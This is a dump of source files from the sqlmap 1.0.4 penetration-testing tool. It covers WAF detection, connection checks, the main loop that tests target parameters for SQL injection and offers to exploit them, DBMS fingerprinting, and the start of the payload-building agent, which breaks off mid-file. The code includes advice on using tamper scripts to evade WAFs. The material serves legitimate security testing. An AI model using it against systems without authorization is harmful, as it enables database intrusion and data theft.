conf.timeout = IDS_WAF_CHECK_TIMEOUT hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True) return retVal def identifyWaf(): if not conf.identifyWaf: return None kb.testMode = True infoMsg = "using WAF scripts to detect " infoMsg += "backend WAF/IPS/IDS protection" logger.info(infoMsg) @cachedmethod def _(*args, **kwargs): page, headers, code = None, None, None try: pushValue(kb.redirectChoice) kb.redirectChoice = REDIRECTION.NO if kwargs.get("get"): kwargs["get"] = urlencode(kwargs["get"]) kwargs["raise404"] = False kwargs["silent"] = True page, headers, code = Request.getPage(*args, **kwargs) except Exception: pass finally: kb.redirectChoice = popValue() return page or "", headers or {}, code retVal = False for function, product in kb.wafFunctions: try: logger.debug("checking for WAF/IDS/IPS product '%s'" % product) found = function(_) except Exception, ex: errMsg = "exception occurred while running " errMsg += "WAF script for '%s' ('%s')" % (product, getSafeExString(ex)) logger.critical(errMsg) found = False if found: retVal = product break if retVal: errMsg = "WAF/IDS/IPS identified '%s'. Please " % retVal errMsg += "consider usage of tamper scripts (option '--tamper')" logger.critical(errMsg) message = "are you sure that you want to " message += "continue with further target testing? [y/N] " output = readInput(message, default="N") if output and output[0] not in ("Y", "y"): raise SqlmapUserQuitException else: warnMsg = "no WAF/IDS/IPS product has been identified (this doesn't mean that there is none)" logger.warn(warnMsg) kb.testType = None kb.testMode = False return retVal def checkNullConnection(): """ Reference: http://www.wisec.it/sectou.php?id=472f952d79293 """ if conf.data: return False infoMsg = "testing NULL connection to the target URL" logger.info(infoMsg) try: pushValue(kb.pageCompress) kb.pageCompress = False page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD) if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): kb.nullConnection = NULLCONNECTION.HEAD infoMsg = "NULL connection is supported with HEAD header" logger.info(infoMsg) else: page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"}) if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}): kb.nullConnection = NULLCONNECTION.RANGE infoMsg = "NULL connection is supported with GET header " infoMsg += "'%s'" % kb.nullConnection logger.info(infoMsg) else: _, headers, _ = Request.getPage(skipRead = True) if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): kb.nullConnection = NULLCONNECTION.SKIP_READ infoMsg = "NULL connection is supported with 'skip-read' method" logger.info(infoMsg) except SqlmapConnectionException, ex: errMsg = getSafeExString(ex) raise SqlmapConnectionException(errMsg) finally: kb.pageCompress = popValue() return kb.nullConnection is not None def checkConnection(suppressOutput=False): if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)): try: debugMsg = "resolving hostname '%s'" % conf.hostname logger.debug(debugMsg) socket.getaddrinfo(conf.hostname, None) except socket.gaierror: errMsg = "host '%s' does not exist" % conf.hostname raise SqlmapConnectionException(errMsg) except socket.error, ex: errMsg = "problem occurred while " errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) if not suppressOutput and not conf.dummy and not conf.offline: infoMsg = "testing connection to the target URL" logger.info(infoMsg) try: kb.originalPageTime = time.time() page, headers = Request.queryPage(content=True, noteResponseTime=False) kb.originalPage = kb.pageTemplate = page kb.errorIsNone = False if not kb.originalPage and wasLastResponseHTTPError(): errMsg = "unable to retrieve page content" raise SqlmapConnectionException(errMsg) elif wasLastResponseDBMSError(): warnMsg = "there is a DBMS error found in the HTTP response body " warnMsg += "which could interfere with the results of the tests" logger.warn(warnMsg) elif wasLastResponseHTTPError(): warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError() warnMsg += "which could interfere with the results of the tests" logger.warn(warnMsg) else: kb.errorIsNone = True if headers and headers.get("Server", "") == CLOUDFLARE_SERVER_HEADER: warnMsg = "CloudFlare response detected" logger.warn(warnMsg) except SqlmapConnectionException, ex: if conf.ipv6: warnMsg = "check connection to a provided " warnMsg += "IPv6 address with a tool like ping6 " warnMsg += "(e.g. 'ping6 -I eth0 %s') " % conf.hostname warnMsg += "prior to running sqlmap to avoid " warnMsg += "any addressing issues" singleTimeWarnMessage(warnMsg) if any(code in kb.httpErrorCodes for code in (httplib.NOT_FOUND, )): errMsg = getSafeExString(ex) logger.critical(errMsg) if conf.multipleTargets: return False msg = "it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] " if readInput(msg, default="Y") not in ("n", "N"): raise SqlmapSilentQuitException else: kb.ignoreNotFound = True else: raise return True def setVerbosity(): # Cross-linked function raise NotImplementedError sqlmap-1.0.4/lib/controller/controller.py000066400000000000000000000721641270044205500205100ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re from lib.controller.action import action from lib.controller.checks import checkSqlInjection from lib.controller.checks import checkDynParam from lib.controller.checks import checkStability from lib.controller.checks import checkString from lib.controller.checks import checkRegexp from lib.controller.checks import checkConnection from lib.controller.checks import checkNullConnection from lib.controller.checks import checkWaf from lib.controller.checks import heuristicCheckSqlInjection from lib.controller.checks import identifyWaf from lib.core.agent import agent from lib.core.common import dataToStdout from lib.core.common import extractRegexResult from lib.core.common import getFilteredPageContent from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import intersect from lib.core.common import isListLike from lib.core.common import parseTargetUrl from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeCSValue from lib.core.common import showHttpErrorCodes from lib.core.common import urlencode from lib.core.common import urldecode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CONTENT_TYPE from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HTTPMETHOD from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapValueException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import ASP_NET_CONTROL_REGEX from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import EMPTY_FORM_FIELDS_REGEX from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import LOW_TEXT_PERCENT from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HOST_ALIASES from lib.core.settings import REFERER_ALIASES from lib.core.settings import USER_AGENT_ALIASES from lib.core.target import initTargetEnv from lib.core.target import setupTargetEnv from thirdparty.pagerank.pagerank import get_pagerank def _selectInjection(): """ Selection function for injection place, parameters and type. """ points = {} for injection in kb.injections: place = injection.place parameter = injection.parameter ptype = injection.ptype point = (place, parameter, ptype) if point not in points: points[point] = injection else: for key in points[point].keys(): if key != 'data': points[point][key] = points[point][key] or injection[key] points[point]['data'].update(injection['data']) if len(points) == 1: kb.injection = kb.injections[0] elif len(points) > 1: message = "there were multiple injection points, please select " message += "the one to use for following injections:\n" points = [] for i in xrange(0, len(kb.injections)): place = kb.injections[i].place parameter = kb.injections[i].parameter ptype = kb.injections[i].ptype point = (place, parameter, ptype) if point not in points: points.append(point) ptype = PAYLOAD.PARAMETER[ptype] if isinstance(ptype, int) else ptype message += "[%d] place: %s, parameter: " % (i, place) message += "%s, type: %s" % (parameter, ptype) if i == 0: message += " (default)" message += "\n" message += "[q] Quit" select = readInput(message, default="0") if select.isdigit() and int(select) < len(kb.injections) and int(select) >= 0: index = int(select) elif select[0] in ("Q", "q"): raise SqlmapUserQuitException else: errMsg = "invalid choice" raise SqlmapValueException(errMsg) kb.injection = kb.injections[index] def _formatInjection(inj): paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else inj.place data = "Parameter: %s (%s)\n" % (inj.parameter, paramType) for stype, sdata in inj.data.items(): title = sdata.title vector = sdata.vector comment = sdata.comment payload = agent.adjustLateValues(sdata.payload) if inj.place == PLACE.CUSTOM_HEADER: payload = payload.split(',', 1)[1] if stype == PAYLOAD.TECHNIQUE.UNION: count = re.sub(r"(?i)(\(.+\))|(\blimit[^A-Za-z]+)", "", sdata.payload).count(',') + 1 title = re.sub(r"\d+ to \d+", str(count), title) vector = agent.forgeUnionQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6]) if count == 1: title = title.replace("columns", "column") elif comment: vector = "%s%s" % (vector, comment) data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype] data += " Title: %s\n" % title data += " Payload: %s\n" % urldecode(payload, unsafe="&", plusspace=(inj.place != PLACE.GET and kb.postSpaceToPlus)) data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n" return data def _showInjections(): if kb.testQueryCount > 0: header = "sqlmap identified the following injection point(s) with " header += "a total of %d HTTP(s) requests" % kb.testQueryCount else: header = "sqlmap resumed the following injection point(s) from stored session" if hasattr(conf, "api"): conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) else: data = "".join(set(map(lambda x: _formatInjection(x), kb.injections))).rstrip("\n") conf.dumper.string(header, data) if conf.tamper: warnMsg = "changes made by tampering scripts are not " warnMsg += "included in shown payload content(s)" logger.warn(warnMsg) if conf.hpp: warnMsg = "changes made by HTTP parameter pollution are not " warnMsg += "included in shown payload content(s)" logger.warn(warnMsg) def _randomFillBlankFields(value): retVal = value if extractRegexResult(EMPTY_FORM_FIELDS_REGEX, value): message = "do you want to fill blank fields with random values? [Y/n] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal): item = match.group("result") if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item): if item[-1] == DEFAULT_GET_POST_DELIMITER: retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER)) else: retVal = retVal.replace(item, "%s%s" % (item, randomStr())) return retVal def _saveToHashDB(): injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) if not isListLike(injections): injections = [] injections.extend(_ for _ in kb.injections if _ and _.place is not None and _.parameter is not None) _ = dict() for injection in injections: key = (injection.place, injection.parameter, injection.ptype) if key not in _: _[key] = injection else: _[key].data.update(injection.data) hashDBWrite(HASHDB_KEYS.KB_INJECTIONS, _.values(), True) _ = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) hashDBWrite(HASHDB_KEYS.KB_ABS_FILE_PATHS, kb.absFilePaths | (_ if isinstance(_, set) else set()), True) if not hashDBRetrieve(HASHDB_KEYS.KB_CHARS): hashDBWrite(HASHDB_KEYS.KB_CHARS, kb.chars, True) if not hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS): hashDBWrite(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, kb.dynamicMarkings, True) def _saveToResultsFile(): if not conf.resultsFP: return results = {} techniques = dict(map(lambda x: (x[1], x[0]), getPublicTypeMembers(PAYLOAD.TECHNIQUE))) for inj in kb.injections: if inj.place is None or inj.parameter is None: continue key = (inj.place, inj.parameter) if key not in results: results[key] = [] results[key].extend(inj.data.keys()) for key, value in results.items(): place, parameter = key line = "%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(map(lambda x: techniques[x][0].upper(), sorted(value))), os.linesep) conf.resultsFP.writelines(line) if not results: line = "%s,,,%s" % (conf.url, os.linesep) conf.resultsFP.writelines(line) def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ if conf.direct: initTargetEnv() setupTargetEnv() action() return True if conf.url and not any((conf.forms, conf.crawlDepth)): kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target URL, list of targets or google dork" logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) logger.info(infoMsg) hostCount = 0 initialHeaders = list(conf.httpHeaders) for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: conf.url = targetUrl conf.method = targetMethod.upper() if targetMethod else targetMethod conf.data = targetData conf.cookie = targetCookie conf.httpHeaders = list(initialHeaders) conf.httpHeaders.extend(targetHeaders or []) initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]): for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" kb.skipVulnHost = readInput(message, default="Y").upper() != 'N' testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms and conf.method: message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl) else: message = "URL %d:\n%s %s%s" % (hostCount, HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "") if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "") if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): if conf.method != HTTPMETHOD.GET: message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data else: if targetUrl.find("?") > -1: firstPart = targetUrl[:targetUrl.find("?")] secondPart = targetUrl[targetUrl.find("?") + 1:] message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break else: message += "\ndo you want to test this URL? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): dataToStdout(os.linesep) continue elif test[0] in ("q", "Q"): break infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp(): continue checkWaf() if conf.identifyWaf: identifyWaf() if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ and (kb.injection.place is None or kb.injection.parameter is None): if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() # Do a little prioritization reorder of a testable parameter list parameters = conf.parameters.keys() # Order of testing list (first to last) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # Test Host header only if # --level >= 5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None)) skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True)) if skip: continue if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = "skipping previously processed %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: pass elif parameter == conf.rParam: testSqlInj = False infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.skip: testSqlInj = False infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter == conf.csrfToken: testSqlInj = False infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: warnMsg = "%s parameter '%s' does not appear dynamic" % (paramType, parameter) logger.warn(warnMsg) if conf.skipStatic: infoMsg = "skipping static %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) testSqlInj = False else: infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: try: if place == PLACE.COOKIE: pushValue(kb.mergeCookies) kb.mergeCookies = False check = heuristicCheckSqlInjection(place, parameter) if check != HEURISTIC_TEST.POSITIVE: if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %s " % paramType infoMsg += "parameter '%s'" % parameter logger.info(infoMsg) injection = checkSqlInjection(place, parameter, value) proceed = not kb.endDetection if injection is not None and injection.place is not None: kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) if not proceed: break msg = "%s parameter '%s' " % (injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] " test = readInput(msg, default="N") if test[0] not in ("y", "Y"): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) else: warnMsg = "%s parameter '%s' is not " % (paramType, parameter) warnMsg += "injectable" logger.warn(warnMsg) finally: if place == PLACE.COOKIE: kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" raise SqlmapNoneDataException(errMsg) else: errMsg = "all tested parameters appear to be not injectable." if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase '--level'/'--risk' values " errMsg += "to perform more tests." if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += " Rerun without providing the option '--technique'." if not conf.textOnly and kb.originalPage: percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += " You can give it a go with the switch '--text-only' " errMsg += "if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the switch '--text-only' " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests. " errMsg += "Please, consider usage of tampering scripts as " errMsg += "your target might filter the queries." if not conf.string and not conf.notString and not conf.regexp: errMsg += " Also, you can try to rerun by providing " errMsg += "either a valid value for option '--string' " errMsg += "(or '--regexp')" elif conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " errMsg += "have chosen does not match " errMsg += "exclusively True responses" elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses" if not conf.tamper: errMsg += " If you suspect that there is some kind of protection mechanism " errMsg += "involved (e.g. WAF) maybe you could retry " errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')" raise SqlmapNotVulnerableException(errMsg) else: # Flush the flag kb.testMode = False _saveToResultsFile() _saveToHashDB() _showInjections() _selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " exploit = readInput(message, default="Y") condition = not exploit or exploit[0] in ("y", "Y") else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): return False elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: raise except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException, ex: errMsg = getSafeExString(ex) if conf.multipleTargets: errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") logger.error(errMsg) else: logger.critical(errMsg) return False finally: showHttpErrorCodes() if kb.maxConnectionsFlag: warnMsg = "it appears that the target " warnMsg += "has a maximum connections " warnMsg += "constraint" logger.warn(warnMsg) if kb.dataOutputFlag and not conf.multipleTargets: logger.info("fetched data logged to text files under '%s'" % conf.outputPath) if conf.multipleTargets and conf.resultsFilename: infoMsg = "you can find results of scanning in multiple targets " infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename logger.info(infoMsg) return True sqlmap-1.0.4/lib/controller/handler.py000066400000000000000000000104021270044205500177250ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.data import conf from lib.core.data import logger from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PGSQL_ALIASES from lib.core.settings import SQLITE_ALIASES from lib.core.settings import ACCESS_ALIASES from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import MAXDB_ALIASES from lib.core.settings import SYBASE_ALIASES from lib.core.settings import DB2_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.utils.sqlalchemy import SQLAlchemy from plugins.dbms.mssqlserver import MSSQLServerMap from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn from plugins.dbms.mysql import MySQLMap from plugins.dbms.mysql.connector import Connector as MySQLConn from plugins.dbms.oracle import OracleMap from plugins.dbms.oracle.connector import Connector as OracleConn from plugins.dbms.postgresql import PostgreSQLMap from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn from plugins.dbms.sqlite import SQLiteMap from plugins.dbms.sqlite.connector import Connector as SQLiteConn from plugins.dbms.access import AccessMap from plugins.dbms.access.connector import Connector as AccessConn from plugins.dbms.firebird import FirebirdMap from plugins.dbms.firebird.connector import Connector as FirebirdConn from plugins.dbms.maxdb import MaxDBMap from plugins.dbms.maxdb.connector import Connector as MaxDBConn from plugins.dbms.sybase import SybaseMap from plugins.dbms.sybase.connector import Connector as SybaseConn from plugins.dbms.db2 import DB2Map from plugins.dbms.db2.connector import Connector as DB2Conn from plugins.dbms.hsqldb import HSQLDBMap from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn def setHandler(): """ Detect which is the target web application back-end database management system. """ items = [ (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn), (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn), (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn), (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn), (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn), (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn), (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn), (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn), (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn), (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn), (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), ] _ = max(_ if (Backend.getIdentifiedDbms() or "").lower() in _[1] else None for _ in items) if _: items.remove(_) items.insert(0, _) for dbms, aliases, Handler, Connector in items: if conf.dbms and conf.dbms.lower() != dbms and conf.dbms.lower() not in aliases: debugMsg = "skipping test for %s" % dbms logger.debug(debugMsg) continue handler = Handler() conf.dbmsConnector = Connector() if conf.direct: logger.debug("forcing timeout to 10 seconds") conf.timeout = 10 dialect = DBMS_DICT[dbms][3] if dialect: sqlalchemy = SQLAlchemy(dialect=dialect) sqlalchemy.connect() if sqlalchemy.connector: conf.dbmsConnector = sqlalchemy else: try: conf.dbmsConnector.connect() except NameError: pass else: conf.dbmsConnector.connect() if handler.checkDbms(): conf.dbmsHandler = handler break else: conf.dbmsConnector = None # At this point back-end DBMS is correctly fingerprinted, no need # to enforce it anymore Backend.flushForcedDbms() sqlmap-1.0.4/lib/core/000077500000000000000000000000001270044205500145065ustar00rootroot00000000000000sqlmap-1.0.4/lib/core/__init__.py000066400000000000000000000002261270044205500166170ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/lib/core/agent.py000066400000000000000000001373461270044205500161740ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import extractRegexResult from lib.core.common import getSQLSnippet from lib.core.common import getUnicode from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isNumber from lib.core.common import isTechniqueAvailable from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat from lib.core.common import singleTimeWarnMessage from lib.core.common import splitFields from lib.core.common import unArrayizeValue from lib.core.common import urlencode from lib.core.common import zeroDepthSearch from lib.core.data import conf from lib.core.data import kb from lib.core.data import queries from lib.core.dicts import DUMP_DATA_PREPROCESS from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.exception import SqlmapNoneDataException from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import GENERIC_SQL_COMMENT from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import REPLACEMENT_MARKER from lib.core.unescaper import unescaper class Agent(object): """ This class defines the SQL agent methods. """ def payloadDirect(self, query): query = self.cleanupPayload(query) if query.upper().startswith("AND "): query = re.sub(r"(?i)AND ", "SELECT ", query, 1) elif query.upper().startswith(" UNION ALL "): query = re.sub(r"(?i) UNION ALL ", "", query, 1) elif query.startswith("; "): query = query.replace("; ", "", 1) if Backend.getIdentifiedDbms() in (DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE) _, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query) for field in fieldsToCastStr.split(","): query = query.replace(field, self.nullAndCastField(field)) if kb.tamperFunctions: for function in kb.tamperFunctions: query = function(payload=query) return query def payload(self, place=None, parameter=None, value=None, newValue=None, where=None): """ This method replaces the affected parameter with the SQL injection statement to request """ if conf.direct: return self.payloadDirect(newValue) retVal = "" if kb.forceWhere: where = kb.forceWhere elif where is None and isTechniqueAvailable(kb.technique): where = kb.injection.data[kb.technique].where if kb.injection.place is not None: place = kb.injection.place if kb.injection.parameter is not None: parameter = kb.injection.parameter paramString = conf.parameters[place] paramDict = 